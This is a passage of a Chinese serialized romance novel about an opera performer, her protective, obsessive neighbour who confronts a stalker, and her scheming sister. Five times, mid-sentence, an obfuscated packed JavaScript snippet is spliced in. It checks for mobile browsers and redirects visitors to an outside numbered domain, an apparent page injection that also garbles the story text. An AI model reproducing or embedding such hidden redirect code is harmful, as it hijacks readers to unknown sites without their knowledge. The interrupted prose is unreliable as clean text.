“你喜欢可以拿去。”靳连竹看向她。 倒是怪大方,沈枝笑笑摇头,“君子不夺人所爱,就放你这里,我想看的时候就过来解解馋。” 二人相视一笑,靳连竹递上茶杯,热气飘散,满室飘着茶香。 “没想到祖师爷的东西你竟然搜集了这么多,太厉害了。”看着那一整面墙的关于靳丛山的资料和照片,沈枝有些激动,“这些资料你是从哪里弄来的,我翻遍了网络,关于他老人家的记载和资料太少了,你怎么会有这么多。” 烹茶的动作顿了一下,靳连竹努力克制住巍巍颤抖的手。 上辈子太遥远了,回忆起来都是血和泪,他不愿去想。 厨房里开着油烟机,沈枝看过去,靳连竹背对着她熟练地洗菜切菜,衬衫袖子被高高卷起露出结实有力的小臂,这背影、这香气……好熟悉。 参观到他书房的时候,沈枝又一次震撼了,难怪他字写得好,原来是个书法大家啊,而且他似乎更喜欢用毛笔写字,书桌上摆放着笔墨纸砚,那一张张随意写就的页面充斥着他生活的边边角角。 活得像个古代人,沈枝笑了笑,不疯魔不成活,果然,功夫都在平时。 半个多小时,靳连竹做的四菜一汤上桌。 红烧排骨,西湖醋鱼,小炒黄牛肉还有土豆丝,都是沈枝爱吃的。 “还有几种点心,那天宴会上我看你总吃这些,就买了一些备在家里。”他说得很自然,就像是专门为她备下的一样。 这是一餐简单随意的便饭,味道十分合口味,沈枝吃了两碗饭,也终于有机会同他深谈。 “孤儿院的老院长是个戏迷,我就喜欢跟着他。” 他慢慢诉说着自己的过去,很简单很单纯的经历。 说起沈枝的剧本,靳连竹又提了几点自己的修改意见,沈枝视若珍宝一一记下。 这一晚相处得非常轻松愉快,不知不觉就谈到了十点多,沈枝才意犹未尽地回家,靳连竹送她出门,“今天太晚了,那些大一些的物件你就别收拾了,明天我有空过来帮你整理。” 站在走廊上,温暖的灯光打下来,他的面色微微发红。 “好。”沈枝爽快答应,“那我就先谢谢你咯。” 摸了一下颈间,才发现丝巾忘记拿了。 “明天我给你送过来。”靳连竹提议,“你早点休息吧,记得锁好门。” 沈枝点头,道了声晚安。 靳连竹看着她进屋,这才慢慢回身,随着脚步的移动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419435|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上的笑容逐渐消失,眉眼变得凌厉起来。 防火门外有一个鬼鬼祟祟的人影,他只冷笑一声回房。 回到家,果然看到她的丝巾躺在沙发上,上面还留着她的香气。 靳连竹拿起丝巾在指尖轻轻揉搓,丝滑柔软细腻,让他想起了她的皮肤。 还有这香气,丝巾放在鼻下,浅浅闻了一下,而后像是得到了什么仙丹妙药,他闭了眼想象着她就在自己的面前,天生的体香让他陶醉,靳连竹闻的越来越猛烈,越来越用力…… * 第二天是周日,沈枝难得赖床许久,才刚刚起床洗漱靳连竹就像掐着点儿一样送来了皮蛋瘦肉粥和糖糕、煎蛋和小馄饨。 “又都是我爱吃的。”沈枝有点惊喜,“你是我肚子里的蛔虫吗,掐得这么准。” 靳连竹笑了笑,“嗯,是。丝巾帮你洗了,等干了给你送过来。” 明天,新买的一模一样的丝巾就到了。 沈枝也不矫情,道了谢坐下吃早点。 靳连竹走去厨房,熟练地拿出餐具和沈枝的碗筷,将每一样都小心地盛出摆好,“昨晚看你喜欢我的手艺,我很高兴,今天尝试自己做了这些,你尝尝看。” 和他相处倒是自然又舒服。 被美食包围的沈枝一下子来了精神,“好吃,你的手艺真不错。” 靳连竹很高兴,坐在对面看着她微笑着。 他只做她爱吃的。 沈枝饭量不大,每一样都尝了一些,靳连竹等她吃完把她剩下的都吃了,喝了一半的粥也喝得一点不剩。 吃过饭,靳连竹不让沈枝动手,一个人负责洗刷收拾,熟悉得仿佛在自己家里。 昨晚搬回来的东西他一一归类整理,摆放的习惯和沈枝一模一样。 “咱俩还真挺像的。”沈枝指的是归纳整理的习惯,惊人的类似。 她坐在沙发上,手边是他摆好的水果,面前的电脑里是靳连竹帮她整理的剧本修改要点。 听她这样说,靳连竹笑了笑没说话,自然是一样的,他想。 8. 担心 “你都忙了一上午了,中午咱们吃点简单的。”沈枝提议,“吃面怎么样”。 “好。”靳连竹手里的活没停过,温温柔柔地回应她,“你想吃什么面,我去做。” “我都可以,不挑,你会做什么。”沈枝把修改好的剧本通读了一遍,点了保存。 “四川的担担面我很拿手,不知道你喜不喜欢。”他没抬头,正在细致地整理她的那些明信片,那是她上学时候的笔友寄过来的,“如果不喜欢,还有阳春面、热干面,西式做法也可以。” “都好,你做什么我吃什么。”沈枝笑嘻嘻地看过去,他整理得很细致,一张一张擦掉灰尘摆放整齐,而且还是按照日期和颜色摆放的。 “枝枝。”他走过来到她身边,拉住沈枝的手。 她的小手软绵绵的,皮肤细滑,让他险些忘了词。 “不高兴的事就说出来,不喜欢的人就直接怼回去。”靳连竹顿了顿,“别忍,别憋着,有什么事你都可以来找我。” 沈枝愣了一下,反应过来他说的是家里的那些事。 “好。”她笑着抽回手拍了拍他的手背,“那,我现在就来找你,再帮我看看修改的剧本呗。” 柔软细腻的触感还有她的余温还留在他掌心,靳连竹又一次搓了搓手指,脸上带着淡淡的微笑,好看的丹凤眼目不转睛地盯着她,“好。” 他什么都答应,什么都说“好”。 无声地对视而笑,彼此眼中的光璀璨明亮,沈枝的脸在发烫。 午饭过后,靳连竹担负起收拾洗刷的任务,从昨天到今天他总是抢着干活,不让沈枝沾染半分。 “连竹。”沈枝拍了拍身侧的沙发,“过来坐。” 她盘腿坐在那里,把面前的电脑递给靳连竹,“这里,关于唱腔和配乐的融合我觉得很违和……” 他接过电脑仔细阅读,沈枝坐在一旁看着,他阅读速度出奇地快,圈圈改改,一个多小时就帮她把稿子重新梳理了一遍,并且在需要修改的地方标注出来,还给她推荐了资料,又回家去拿来她需要的书籍。 “全是古书啊。”沈枝诧异,“这个看起来好费劲啊。” 她实在发愁,这种书晦涩难懂,薄薄一本啃起来却十分困难。 靳连竹想了想,“那你等等,一会儿给你。” 沈枝点头,继续看他修改的资料,细致、详尽,有理有据,引用的案例都有出处。按照他提示的要点改起来十分清晰顺手。 就一个下午沈枝就改好了剧本里的所有问题,这效率也太高了。 再看看一旁坐在书桌旁的靳连竹,仍在噼里啪啦地敲着键盘,他工作起来的样子十分专注认真,眉头微蹙嘴唇轻抿,夕阳下清晰的下颌线呈现出完美的弧度。 沈枝看了一会儿,不好意思地别过脸去看窗外,又忍不住回头偷偷看了两眼。 青春帅气中透着一点古板和严谨,像……穿着长袍马褂的老夫子行走在街头,时尚潮流中透出骨子里的傲气和稳健。 浓浓的中古味,太迷人了。 “你在写什么。”沈枝走过去,自然地坐在他身边。 靳连竹把最后的稿件打印出来递到她手上,“你嫌麻烦的古书,我翻译好了,方便你阅读。” 天呐,太贴心太细致了吧。 沈枝爱不释手,“谢谢你。” “以后有任何需要,都找我。”他说,目光温柔面带笑容。 沈枝抬头看他,红着脸地点了点头,“嗯。” 月光如水,街景璀璨,多美好的氛围,沈枝提议出去走一走。 “好。”靳连竹转身去取来她的外套帮她披上,“晚上风大,别着凉。” 江边的风微凉舒爽,他们在一起似乎有说不完的话,从专业讲到生活,从名人说到自己,两个人越走越近,肩并肩,留下两道长长的亲密的影子。 回到小区二人乘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419436|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐电梯,靳连竹送沈枝回家后,又一次瞥见了那个鬼鬼祟祟的身影。 这一次他没有假装看不见,而是一个跨步上前推开防火门,将那人挤在门后的角落里。 对方还在挣扎狡辩,口口声声找错门要报警。 “这里没监控,不说实话今天要你一根手指。” 他手上使劲,对方的哀号声被他的大手闷在掌心。 沈枝回家后看到了桌上靳连竹留给她的热牛奶,想着她一个人喝不完,端着杯子走出家门想要跟他分享。 却被奇怪的声音吸引,推开防火门,她看到的是高大魁梧的背影,将一个壮硕的男子堵在角落里。 靳连竹回眸,四目相对,那一瞬沈枝懵了,眼前这个人跟那个消失了已久的人逐渐重合…… 当即报警,物业也赶来现场,经过警察的调查就是一个偷窥狂混进小区,专门跟踪偷拍年轻女性,物业承担责任并承诺加装监控设备增加安保人员。 嫌疑人被警察带走的时候已经快十二点了,靳连竹没说什么,安抚了她一会儿叮嘱沈枝关好门窗就回家去了。 直到第二天沈枝出门才发现不对劲。 从她家门口到地下停车场的这段路,加装的摄像头得有二十多台,沈枝以为是物业做的,还觉得实在有点儿夸张了。 直到她回到家里遇到了上完课回来的靳连竹,看到他交给她的东西,这才知道原来那些摄像头都是他装的。 “你一整夜没睡觉吗。”沈枝惊讶不已,“需要装那么多吗,物业那里报备了吗。” 他脸上没什么表情,仍旧一副平静淡然的样子,“你不用操心了,都办妥了。” “可是……” “没什么可是的,你的安全最重要。” “都过去了,这是小概率事件,而且我不怕。” “我怕。” 他看着她,语调温柔却不容置疑,“我觉得那个人没说实话。” 9. 保镖 沈枝不明白他是如何判断的,也只好妥协,行吧,也不是很过分,随他吧。 可是令她没有想到的是,这才只是开始。 靳连竹从包里掏出几样东西。 “这是电子门铃,不仅能防止通过猫眼窥视,还能自动录制视频留存证据,你喜欢点外卖,陌生人一律要防。” 沈枝:“啊,有必要吗,不是有监控了吗。” “不一样,证据角度不同。”他很认真地解释,“之前有一个新闻就是有人用工具捅开猫眼,仅凭一根铁棍就能轻松开门,你没看过啊。” 沈枝撇嘴:“那好吧。” “这是辣椒水,必须随身携带。”他交给她。 沈枝凑近闻了闻,乖乖,你这浓度有点过分了吧,这会不会防卫过当啊。 靳连竹斜了她一眼,“我倒是希望你永远用不上。” “还有这个,皮拍子。” 这是一个真牛皮包裹金属配重块的设计,甩动时能在地砖上砸出小坑。 “你把它套在手上,遇到危险时闭眼甩就完事了,总有一下会打疼的。”他教得很认真,还亲自演示,看得沈枝哭笑不得,好像打到自己的概率更大一些。 沈枝犹豫了片刻,勉强答应,“好吧,暂时先这样,不能再有了。” “东西没有了,还有人。”靳连竹继续说,“我跟保安公司联系了,聘了十个保安负责你每天的安全,这样我放心些,你安心他们不会被你看到。” 沈枝绷不住了,“等下,你认真的吗,给我,配保安。” 脑子里出现了谍战片的画面,沈枝有点儿哭笑不得。 他这是应激了,沈枝看着靳连竹那张仍旧平平淡淡的脸,看上去非常正常。 原来他疯起来也是这样四平八稳的。 “先用一段时间吧。”靳连竹坚持。 “不,我不想被人监视。”沈枝拒绝。 “这不是监视,是保护。”他解释。 “效果是一样的。”沈枝瞪着他,“不要。” 她的脸看起来红红的,柳眉紧蹙,脸色不太好,像是生气了。 靳连竹沉默良久,终于叹了一口气,“好吧,保安就撤掉,那我来接送你,这不能拒绝。” “可是你还有你自己的事。” “我会安排好,不会耽误。”他很坚决。 沈枝无奈,先这样吧,谢团说得对,他真是个执拗的性子。 * 沈枝算是正式搬回了自己的公寓里住,距离单位很近,给接下来的忙碌节省了不少时间。 她要改剧本,要排练,要练功,还不算其他的演出、会议和座谈……一堆的事情要做,一堆的资料要查,她每天都是三点一线,家、单位、市图书馆。 剧本里牵扯很多资料要考证,但是大部分都找不到了,沈枝托了大学时候的学长找到了市图书馆的副馆长,进到了内部资料借阅区翻看,仍旧一无所获。 靳连竹每天上午都会去剧团排练,两个人一起出门,沈枝总能收获一份美味早餐,有时候是煎饼果子,有时候是糖糕整包,有时候是烧卖年糕,有一次竟然是一碗拌面…… 靳连竹负责开车,沈枝就坐在副驾上享用美食,然后再喝上一杯他亲手做的咖啡,去除疲惫和困顿。 下午,靳连竹就去沈枝家里找她的祖父上课,沈枝继续忙自己的工作,下了班会去图书馆大海捞针,而靳连竹还真是说到做到,每天都会接送她,像个保镖。 而且他每一天都要检查一遍她的三宝,看看沈枝有没有带,再把监控都检查一遍,看得沈枝直摇头。 吃过晚饭,靳连竹会帮她煮茶,两个人窝在沙发里,把所有的资料铺满了茶几和地毯,然后一起讨论要修改的剧本,有时候对对唱腔和台词,直到该睡觉靳连竹才会回去。 他是个十分懂得生活的人,讲究劳逸结合,每隔上两三日,靳连竹就会买好电影票,或者定好沈枝喜欢的餐厅,带着她放松一下。 两个人是能吃到一起去的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419437|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而且靳连竹挑的电影、戏剧也十分符合沈枝的审美,在这些方面不需要沈枝操心半点,一切都是贴心周全符合心意的。 不仅如此,他还有一双巧手,给沈枝做的头饰、配饰、绣花鞋甚至衣裙都十分合身好看。 他说:“条件有限的时候,都是自己动手做自己的行头和衣裙。” 沈枝当时在想,什么样的条件啊这么艰苦,东西都要自己做。 靳连竹送给沈枝的发簪、耳环,经常被路人追着问链接,一件件精致且充满了古色古香的味道,同现代工艺制作出来的首饰看着就很不一样。 赶在春日之前,靳连竹给沈枝做了一套新中式衣裙,天蓝色对襟长开衫里配鹅黄色绣文竹小衫,下配系带宋裤,休闲松弛感拉满还显得很用力,尤其衬她的气质。 “太好看了吧。”沈枝爱不释手,“还特别合身。” 屋子里燃着鹅梨帐中香,幽雅清淡的味道让人精神放松。 他是个很有氛围感的人,在家里也喜欢燃香,播放器里是越剧唱段,屋内点了蜡烛,把窗外夕阳将落的美景衬托得格外沉静美好。 为了表示感谢,沈枝决定请靳连竹吃饭。 京市最豪华酒店的旋转餐厅在大厦的六十八层,俯瞰整个城市的夜景,灯火璀璨。 沈枝一身中式打扮引来了餐厅内诸多羡慕的目光。 “沈枝。” 一个熟悉的声音响起,沈枝看过去,竟然是沈青,在她旁边还坐着一位满身大logo戴着墨镜的男人。 “打扰姐姐了,我们换个地方。”沈枝拉着靳连竹想走,就被身边的墨镜男叫住了。 “谁呀,怎么这么面熟呢。”墨镜男摘下墨镜打量沈枝,一双混血一样的眼睛闪着好奇的光。 “是我妹妹。”沈青介绍得不情不愿,一脸谄媚地笑,“不好意思打扰了宋少的雅兴。” 沈枝撇了撇嘴,真没有想到,在家里高高在上颐指气使的小公主,能对一个男人声音都夹得变了调。 10. 偶遇 “不是说走吗,怎么还不走。”沈青瞪着沈枝,“这地方很贵的,你那点工资还是省着点花吧。” “宋少”去了卫生间,沈青的傲慢无礼越发张狂。 “难怪传出来风言风语,说你包小白脸,原来是他。”沈青斜了一眼靳连竹,冷笑,“你就算自暴自弃也不用这么彻底吧,找了个穷鬼能给你什么,你们两个的工资加起来恐怕都买不起一个包。” 沈青的手摸了摸身边的爱马仕,一脸不屑,“赶紧走吧,别杵在这里碍眼了。” 当众给自己的妹妹难堪,也就只有沈青这个没有脑子的能干得出来了,沈枝嗤笑,刚想怼她,就听身边的靳连竹小声地问她:“什么包,很贵吗。” 他一脸懵懂真诚,显然是不了解奢侈品市场。 沈青应该也是听到了这句话,脸上的鄙夷不屑越发放大,那双手就没从她的爱马仕上挪开过。 沈枝看着她,回了一句:“烧包。” 沈青刚要发作就看到从卫生间里走出来的富二代,赶紧冲着沈枝冷斥:“还不赶紧走。” 沈枝已经觉得倒胃口了,正想拉着靳连竹离开,那位“宋少”就已经到了她跟前,笑得一脸惊喜,“我想起来了,您是沈枝老师,我看过你的戏曲,我爸妈都是你的戏迷。” 他看上去十分激动,扒拉掉沈青搭在他手臂上的纤纤玉指,拉着沈枝的手握个不停,“您今天一定要跟我合个影,我要回家显摆显摆。” 假洋鬼子的中文倒是挺利索,竟然还看戏。 沈枝本不想合影,可是一转眼看到了沈青一脸愤愤不平的表情,立马笑着答应了,“好啊,多拍几张。” 宋少拿出手机递给沈青,“快,帮我跟沈老师合个影,拍好看点儿啊。” 看着沈青不情不愿又不得不应付宋少那尴尬的表情,沈枝笑得格外灿烂。 “要不,我们换个地方吃饭吧。”靳连竹低声在沈枝耳边提议。 “为什么换,听说这里的菜很不错,既来之则安之,尝尝。” 沈枝婉拒了富二代的盛情邀请,拉着靳连竹在一旁的空桌坐下。 “原来沈枝老师这么漂亮啊。”直到二人开始点菜聊天,宋雪峰仍旧沉浸在见到沈枝的喜悦中,一双好看的蓝眼睛始终定在那边。 一旁的沈青看得生气,却又不能表露出来,只能赔着笑脸暗地里咬碎牙根。 “雪峰,尝尝这盅人参雪莲煲,听说很不错。”沈青温柔体贴地帮宋雪峰盛了一碗汤,想把他的注意力拉回来,刚才都已经谈到卡了,一下子又被沈枝打断了,真是个克星。 “沈枝老师经常来这里吃饭吗,怎么从前没见过她。”宋雪峰心不在焉地喝了一口汤羹,“嗯,是不错。” 嘴巴里说着不错可是那双眼睛却始终没离开对面,沈青压住心里的火气,甜甜一笑,“你若喜欢,这种汤我可是拿手的,回头我做好给你送去。” “至于枝枝嘛,哎,这丫头不怎么回家,我还真不知道她是不是常来。”沈青微微蹙眉,若有所思,“不过,就算来也是有人请吧,你知道的,她交际圈很广很杂的。” “是吗,看不出来啊。”宋雪峰笑了笑,“改天你要请她出来一起吃顿饭,算是帮我引荐认识一下。” 沈青心里默默翻了个白眼,还真是没完了。 “好吧,义不容辞。”她脸上的笑容格外温柔灿烂。 对面二人翻看菜单,靳连竹看了一会儿从菜单后面露出那双完美的丹凤眼,问:“枝枝老师确定要请我在这里吃饭?” 菜价太贵了,枝枝老师很抠的,怎么舍得。 沈枝没抬头,仍旧专注看菜单,“嗯,当然。” 靳连竹挑了挑眉,重新把头埋进菜单里,“什么都能点吗?” 沈枝这才明白他的意思,笑着看他,“随便点。” “可是太贵了,没必要。”靳连竹提议,“不如我们去吃夜市,你喜欢我也喜欢,吃到撑还不到这里一个菜的价。” 沈枝失笑,“夜市什么时候都能吃,这里只有今晚了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419438|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “什么意思。”靳连竹不明所以。 “这家餐厅的老板赞助我们演出,当时赠送的餐卡,同事们都去吃过说好吃,我还没吃。”沈枝拿出一张餐卡,压低声音凑近他,“再不吃过期啦。” 靳连竹笑了,“原来枝枝老师请我吃的是免费的啊。” 那就使劲点呗。 在确定了卡里金额后,两个人有说有笑地点菜。 这一切被对面的沈青看在眼里,挑了挑眉,靳连竹,沈枝,约会……拿出手机,沈青找好角度拍了几张照片,嘴角弯弯。 买单回来的宋雪峰看到她很高兴的样子,问:“怎么这么高兴。” 高兴个屁,沈青腹诽,约会三次了连个名分都没有,算什么。好不容易今天进度不错,又被两个倒霉催的打断,真是晦气。 沈青和宋雪峰的前两次约会是在餐厅和网球场。 因为宋雪峰喜欢打网球沈青还特意找了个教练学网球,只为能跟他同频。 宋家是父亲生意场上最有力的盟友,如果能拿下宋雪峰这个宋家唯一的继承人,沈青的第五代传承人就能稳稳地落袋为安了,为了家族的未来,也为了自己的虔诚,宋雪峰,沈青势在必得。 餐厅的氛围很好,红酒醇厚菜肴精美,面前的美人美目盼兮温柔如水,“没什么,跟你在一起很开心。” “雪峰,时间不早了我要回家了。”沈青拉着他的手,“很舍不得你,可是家教太严了没办法,下次再好好陪你。” “没关系,你们艺术世家的孩子都是规矩大的,我爸妈就很喜欢懂规矩的大家闺秀。”宋雪峰又朝对面看了一眼,“枝枝老师似乎跟青青不太一样呢,她们……她对面那男的谁呀。” 对面沈枝和靳连竹正吃得高兴,两个人有说有笑旁若无人十分亲密。 沈青愣了一下,支支吾吾点了点头,“啊,谁,我不认识啊,她什么朋友都交的。” 宋雪峰看着对面,慢悠悠说:“怎么那个男的看着这么面熟呢。” 11. 告状 “啊,有吗。”沈青叹了口气,露出十分无奈的表情,“所谓家丑不可外扬,枝枝从小就任性,前几天因为非要搬出去住把爷爷气到了,我说了她两句就不高兴了,这不,现在还不愿意搭理我呢。” “她呀,这是在故意挑衅我,随便拉个人在我面前晃悠,害我担心她。”沈青一副很无奈的样子,“我这个妹妹啊,从小一家人宠着她,我也拿她没办法。” 宋雪峰一愣,“沈枝老师原来是这样的叛逆吗。” “可不是,何止叛逆,简直冥顽不灵,她呀从小就鬼主意多,人是很聪明学什么都比我快,不像我只知道听话做个乖乖女,爸妈让我学戏我就学,不让我学戏现在让我学打理家里的产业,我也学,哎,你都不知道,我每天早起晚睡的,学的好辛苦啊。” 美丽娇俏的姑娘撒起娇来格外动人,宋雪峰看得心花怒放,“青青,我就喜欢你这样温柔懂事与世无争又很聪明的姑娘。” 一个吻轻轻落下,宋雪峰从包里拿出一张卡,“作为你的男朋友,这是我对你的心意,随便刷。” 沈青赶紧拒绝,“我不要,这不合适。” “有什么不合适的。”宋雪峰把卡塞到她手里,“你是我女朋友,连张我的卡都没有像话吗。” 再推辞就显得矫情了,沈青拿捏住了分寸感,勉为其难地收下,“那雪峰我就先收着,我最近在研究股票和基金,还有比特币,等我学好了算是我们的共同投资。” 宋雪峰大为震撼,“青青你还懂比特币,改天一定要跟我爷爷聊聊,他要是知道你喜欢这些一定高兴坏了,你不知道,我家里人就是反对我交往那些只知道花钱买奢侈品的女人,说没内涵,我相信他们见了你包满意的。” 沈青尴尬地笑了笑,心里想着赶紧结束这个话题。 回到家时间还早,祖父和爸妈都在客厅里,沈青赶紧把晚饭见到靳连竹和沈枝的事打了小报告。 “你说什么,枝枝跟连竹在谈恋爱。”母亲马岚差点拿掉了杯子,又担心丈夫生小女儿的气,赶紧收敛情绪偷偷看了一眼丈夫。 沈丛艺的脸色铁青,“青青,你可看清楚了,他们在谈恋爱。” “我就知道我说了你们也不信,我拍照片了,你们自己看吧。”沈青把照片发在没有沈枝的家族小群里,照片上的两个人看上去十分亲密熟悉。 “而且我全程都在看着她们,毕竟是我妹妹啊,我也担心,他们两个一直手牵着手。”沈青叹了口气,“现在终于明白为什么那丫头怎么都不肯回家来住了,原来是有男朋友同居了。” “同居?” 这下连沈新华也坐不住了,“枝枝不会那样做吧。” “怎么不会,我看着他们一起走的。”沈青添油加醋,“而且枝枝还说了一句,晚上回去什么的,我没听清楚后面。” 沉默,死一般的沉默。 家里的三位长辈都拉着脸,吓得沈青不敢说话。 片刻后,沈新华先发话,“这事,你们怎么看。” 沈丛艺的性子素来急躁,被父亲闻到生怕怪他,就先发制人,“枝枝这个孩子被她妈妈惯坏了,这事必须得问清楚。” “还有什么好问的,我亲眼看见的。”沈青帮腔。 “怎么又是被我惯坏的,我哪次不是按你说的说。”马岚小声嘀咕。 “怪马岚做什么,你这个做父亲的就没有责任吗。”沈新华生气了。 “爸,要论起来这事还得问您自己,好好的怎么想起来收徒弟呢,那个小子是从哪个石头缝里蹦出来的,怎么就打动了您呢。” 沈丛艺一激动把憋在心里许久的话吐了出来,“好好的家里有青青,即便枝枝不争气也还是个听话的女孩子,您弄出来这么个男孩子,爸,徒弟算半子,您究竟是怎么想的,现在倒好,他直接冲枝枝就去了,还不知道心里头打的什么主意。” 沈丛艺算是胆大一回,一番话说得马岚和沈青都屏住呼吸等待着老爷子发火。 可是这次沈新华竟然没有生气,只是一味地沉默不语,虽然脸色不好却终究是没有说一个字。 “爸,你究竟是怎么想的,那个靳连竹到底是什么人。” “行了,现在不是说这个事情的时候。”沈新华大手一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419439|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挥,看着沈青,“青青,去,给你妹妹打电话,让她现在立刻回家。” “啊。”沈青张了张嘴,露出十分为难的样子,“大晚上的不好吧,如果人家小情侣想要约会做点什么的话,我……” “放肆,她敢。”沈丛艺拍案而起,“什么都别说了,走,她不来咱们就去瞧瞧她那个鸽子笼,我倒要看看他俩能干什么。” 在无人注意的角落里,沈青悄悄打了个电话,“替我查一个人,靳连竹。” 沈枝和靳连竹吃得十分开心,准备走的时候才发现沈青已经走了。 吃得太饱沈枝想走走路,“我们去逛逛夜市吧,这里很多纯手工的东西非常精致。” 靳连竹陪着她逛,还充当她的购物车,没过一会儿手里都拎得满满当当,有好看的手工绢扇,有漂亮的手工发簪…… “虽然都不错,但是比起你的手艺还差得远。” 沈枝驻足在一家卖手工丝绢的摊铺前,老板是一位四十多岁的大姐,白白胖胖的,一说话就笑眯眯地,十分和气。 “美女想要什么。” 沈枝手一指,“那个丝绢手袋麻烦您拿我看下。” 这是一个彝族刺绣搭配银饰做成的手提袋,文化的传承和创新,复古又时尚。 “美女眼光真好。”大姐介绍,“我这里都是非遗的手作,那边那个手袋是景泰蓝,那一个是宋代苏绣,这里唐代东阳竹编,还有这个南宋盘花扣……” 大姐如数家珍,“每一个都不重样,只此一件绝不会撞包。” 沈枝被说动了,果断拿下,“这不比那些卖到上万的大牌包包有内涵有审美吗。” 大姐点头不迭,“美女太有眼光了,这才是咱们老祖宗留下来的东西,经久不衰,越用越有韵味。” 沈枝跟大姐聊得十分投缘,互留了联系方式才依依不舍地离开。 再看靳连竹,他一副若有所思的样子。 “你在想什么。” “回去吧。”他说,“我给你做一个包。” 沈枝:…… 这该死的胜负欲,还真是不错呢。 12. 捉奸 他的手艺自不必提,沈枝总觉得靳连竹做出来的东西,就像他的唱腔一样,自带一种古韵,是那种经年沉淀的味道,悠长迷人。 靳连竹做了一个叫作“麒麟保安”的宋锦包。 细腻的桑蚕丝的触感,配上牛皮肩带,相得益彰。包上的图案是他亲手绣的麒麟和牡丹,象征平安繁茂。 “太好看了。”沈枝拿在手里比画来比画去,爱不释手,“太美了。” “你喜欢就好。”靳连竹笑了。 两个人正说话,大门被打开,杨小咩提着行李箱直接闯进来了。 “你换密码了。”她问,“但是跟没换一样。” 一抬头看到了靳连竹,杨小咩的脸色看上去有点儿复杂。 “你们两个,在干嘛。”她问。 “连竹给我做的新包,快来看看怎么样。”沈枝十分兴奋,上前拉住杨小咩,“你可算回来了,我都想你了。” 杨小咩扒拉掉她痴缠的手臂,皱眉问:“你们两个在干什么。” 沈枝不明所以,把包在她面前晃了晃,“不是跟你说了吗,做包。” 杨小咩直摇头,“不是这个意思,是,你们两个……” 她的眼神在沈枝和靳连竹之间来回徘徊,一副我可算抓到你了的既视感,“大半夜在一起……” “说,你俩是不是在谈恋爱。”杨小咩看了眼沈枝,转头看向靳连竹,“你,不回家赖在这里想干嘛。” 沈枝有点儿蒙,“他家住对面” “啊,好心机……” 靳连竹起身,拿起刚做好的包塞到杨小咩手里,“你仔细看看,喜欢的话我给你做一个,要什么颜色的。” “啊,哈,喜欢喜欢,我要红色打底的。” “好。”靳连竹笑着看了一眼沈枝,“明天就给你。” 杨小咩酝酿了一路的严刑拷问在这一刻土崩瓦解,溃不成军,她果断加入了试包的队伍中。 过了好大一会儿杨小咩挑好包又一次旧事重提,“跟我说实话,你们是不是……” “我那里还有几款刚做好的发簪,你要不要去挑一挑。”靳连竹再一次打断了杨小咩的质问。 “挑什么挑。”杨小妹拒绝,随即变脸,“我都要。” 两个人起身去了对面,沈枝无奈地笑。 大约十分钟左右,门铃响了,沈枝以为是杨小咩她们回来了,趿着拖鞋道:“你有密码还按什么门铃……” 大门被打开,爷爷、爸爸妈妈站在自己面前,在他们身后的是姐姐沈青。 “爷爷,爸妈,你们怎么来了。”沈枝愣了一下,“请进吧。” “我们就是来看看你。”沈新华看了儿子、儿媳和沈青一眼,笑嘻嘻地说,“不知道你住得好不好,不放心。” 过来看看,沈枝看了一眼墙上的挂钟,十一点三十五分,这个点出来看望她…… “哦,好,我去给你们倒水。” 